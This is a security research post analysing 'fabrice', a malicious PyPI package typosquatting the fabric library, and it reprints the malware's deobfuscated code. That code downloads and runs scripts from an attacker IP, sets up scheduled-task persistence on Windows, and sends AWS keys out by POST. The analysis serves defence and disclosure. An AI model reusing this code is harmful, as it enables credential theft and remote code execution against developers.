The Socket Research Team has discovered a malicious Python package, fabrice,
that is typosquatting the popular fabric
SSH automation library. The threat of malware delivered through typosquatted libraries remains a significant and growing risk to developers using open source software, as demonstrated by the massive malware campaign that recently hit npm. Today we are investigating a typosquatting package that has been live on PyPI since 2021, silently exfiltrating AWS credentials, with more than 37,000 total downloads.
The legitimate fabric
library, developed by bitprophet, has over 201 million downloads and is trusted by developers worldwide. fabrice
, however, is designed to exploit this trust, containing payloads that steal credentials, create backdoors, and execute platform-specific scripts. Our analysis examines the package’s actions on both Linux and Windows systems with insights into its behavior and recommendations for mitigating these attacks.
The fabrice
package uses different approaches to execute malicious commands depending on whether it’s running on a Linux or Windows system. Below, we analyze each set of malicious actions found in group.py
.
Malicious Actions on Linux
On Linux systems, fabrice
uses a function called linuxThread()
to download, decode, and execute scripts from an external server. This function targets hidden directories and employs obfuscation techniques to make detection difficult.
Linux system linuxThread()
def linuxThread():
try:
home = expanduser("~")
directory = home + "/.local/bin/vscode"
fileE = home + "/.local/bin/vscode" + "/per.sh"
if not os.path.exists(directory):
os.makedirs(directory)
# Download content from external server
a4 = "ht" + "tp" + ":" + "//" + "89.44.9.227" + "/likjfieksce"
response = requests.get(a4)
text = response.text
# Split the response data into multiple files
dataList, finalList = [], []
for line in text.splitlines():
if "SPLITT" in line:
finalList.append(dataList)
dataList = []
else:
if "directory" in line:
line = line.replace("{directory}", directory)
dataList.append(line)
# Create and write to shell script files
with open(directory + "/service.sh", "w") as fp:
for line in finalList[0]:
fp.write(line + "\n")
with open(directory + "/app.py", "w") as fp:
for line in finalList[1]:
fp.write(line + "\n")
with open(directory + "/info.py", "w") as fp:
for line in finalList[2]:
fp.write(line + "\n")
with open(directory + "/per.sh", "w") as fp:
for line in finalList[3]:
fp.write(line + "\n")
# Set execute permissions and run the script
os.chmod(fileE, 0o755)
subprocess.check_call(fileE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
except Exception as e:
pass
Analysis
- Hidden Directories: The
linuxThread()
function creates a hidden directory (~/.local/bin/vscode
) where it stores downloaded payloads. This makes it harder for the user to spot unusual files. - Obfuscated URL: The URL is obfuscated, using string concatenation to mask its purpose. It connects to
89.44.9.227
(a VPN server by M247, Paris) to download malicious scripts. - Decoding and Execution: The downloaded text is parsed, split, and stored as executable files in the hidden directory. The final step sets execute permissions on these files and executes one of them (
per.sh
), allowing the attacker to run commands with user privileges.
Malicious Actions on Windows: Deobfuscated Malicious Windows Scripts: vv
and zz
Variables for Persistence and Command Execution#
On Windows systems, the winThread()
function creates scripts and a VBScript file, leveraging base64-encoded payloads. This function aims to download and execute malicious code that can persist across reboots. In the fabrice
package, the winThread()
function contains two base64-encoded variables, vv
and zz
. These variables are decoded into two separate scripts, with each designed to carry out specific malicious actions on Windows systems. Together, they enable unauthorized script execution and ensure that the malware persists by scheduling repeated tasks. Let’s examine the malicious actions carried out on Windows systems in detail.
Summary of vv
The vv
variable decodes into a VBScript (p.vbs) that runs a hidden Python script (d.py). This d.py script is stored in the user’s Downloads folder and is executed without the user’s knowledge. Here’s the deobfuscated vv
code:
Sub Main()
command1 = c1 & " " & "C:\Users\Public\Downloads\d.py"
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run command1, 0 ' Executes d.py in hidden mode
Set WshShell = Nothing
End Sub
On Error Resume Next
Main
If Err.Number Then
WScript.Quit 4711
End If
The vv
script initializes a hidden execution of the d.py
script using the WScript.Shell
object. By running it with error handling (On Error Resume Next
), it hides any execution issues, allowing the attacker’s script to run unnoticed. This VBScript functions as a launcher, allowing the Python script to execute commands or initiate further payloads as designed by the attacker.
The zz
variable is decoded into a Python script that performs several actions to install and persist malware on the system. Here is the deobfuscated code for the zz
script:
try:
import requests
import subprocess
import os
# Downloading malicious executable from the attacker's server
response = requests.get("http://89.44.9.227/wirkeidnide")
# Saving downloaded payload as 'chrome.exe' in the Downloads folder
with open("C:\\Users\\Public\\Downloads\\chrome.exe", "wb") as fp:
fp.write(response.content)
# Creating a scheduled task to execute 'chrome.exe' every 15 minutes
subprocess.call("schtasks /create /sc minute /mo 15 /tn \"chromeUpdate\" /tr C:\\Users\\Public\\Downloads\\chrome.exe /F")
# Removing the original d.py file to cover tracks
os.remove("C:\\Users\\Public\\Downloads\\d.py")
except Exception:
pass
Summary of zz
The zz
script takes the malicious activity a step further by:
- Downloading and Saving Malicious Executable: It retrieves an executable (
chrome.exe
) from the attacker's server (located at IP 89.44.9.227
) and stores it in the Downloads
folder. - Establishing Persistence with Scheduled Tasks: It uses the Windows
schtasks
command to create a scheduled task (chromeUpdate
) that runs every 15 minutes, ensuring chrome.exe
is executed periodically. - Covering Tracks: To avoid suspicion, it deletes the initial
d.py
script after setting up the persistent backdoor.
This combination of actions allows the attacker to maintain control over the compromised system, continually re-running their malicious executable.
Exfiltration of AWS Credentials#
The fabrice
package’s primary goal appears to be credential theft, specifically AWS credentials. Using the boto3
library, the package gathers AWS access and secret keys, then sends them to a remote server.
Credential Exfiltration
session = boto3.Session()
cd = session.get_credentials()
ak = cd.access_key
sk = cd.secret_key
data = {"k": ak, "s": sk}
muri = "ht"+"tp"+":"+"//89.44.9.227/akkfuifkeifsa"
requests.post(muri, json=data, timeout=4)
AWS Credential Theft: By collecting AWS keys, the attacker gains access to potentially sensitive cloud resources.
Data Exfiltration to VPN Server: The data is sent to 89.44.9.227
, a VPN endpoint, making it difficult to trace. This server, operated by M247 in Paris, could facilitate credential misuse without revealing the attacker’s identity.
The test()
function in group.py
dynamically checks the system’s OS and executes the corresponding thread (either winThread()
or linuxThread()
).
OS Detection and Trigger
def test():
try:
if platform.system() == "Windows":
winThread()
elif platform.system() == "Linux":
linuxThread()
else:
# Additional fallback mechanism for unsupported OS
session = boto3.Session()
cd = session.get_credentials()
ak = cd.access_key
sk = cd.secret_key
data = {"k": ak, "s": sk}
muri = "ht"+"tp"+":"+"//89.44.9.227/akkfuifkeifsa"
requests.post(muri, json=data, timeout=4)
except:
pass
This platform-agnostic trigger ensures that the attack proceeds regardless of the operating system, broadening its potential impact.
Secure Your Dependencies with Socket#
The fabrice
package represents a sophisticated typosquatting attack, crafted to impersonate the trusted fabric
library and exploit unsuspecting developers by gaining unauthorized access to sensitive credentials on both Linux and Windows systems. Through obfuscated URLs, encoded payloads, and a VPN-based proxy server for covert data exfiltration, this attack underscores the critical importance of using tools that will alert you to this behavior before it lands in your codebase.
The free Socket for GitHub app seamlessly integrates with your GitHub repositories, providing continuous monitoring and advanced security checks. By automating the detection of malicious packages and suspicious dependencies, the Socket app ensures that threats like the fabrice
typosquatting package are identified early.
The Socket web extension will also help you spot malicious packages on the web, with real-time threat detection on any website (or configure for specific sites.)
Recognizing the severe risk fabrice
poses, our team has proactively reported it to the PyPI team for takedown to safeguard the broader developer community. It is still live at the time of publishing. We strongly encourage developers to remain vigilant, thoroughly verify dependencies, and utilize tools designed to detect and block malicious packages before they can compromise critical environments.
Socket Research Team
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta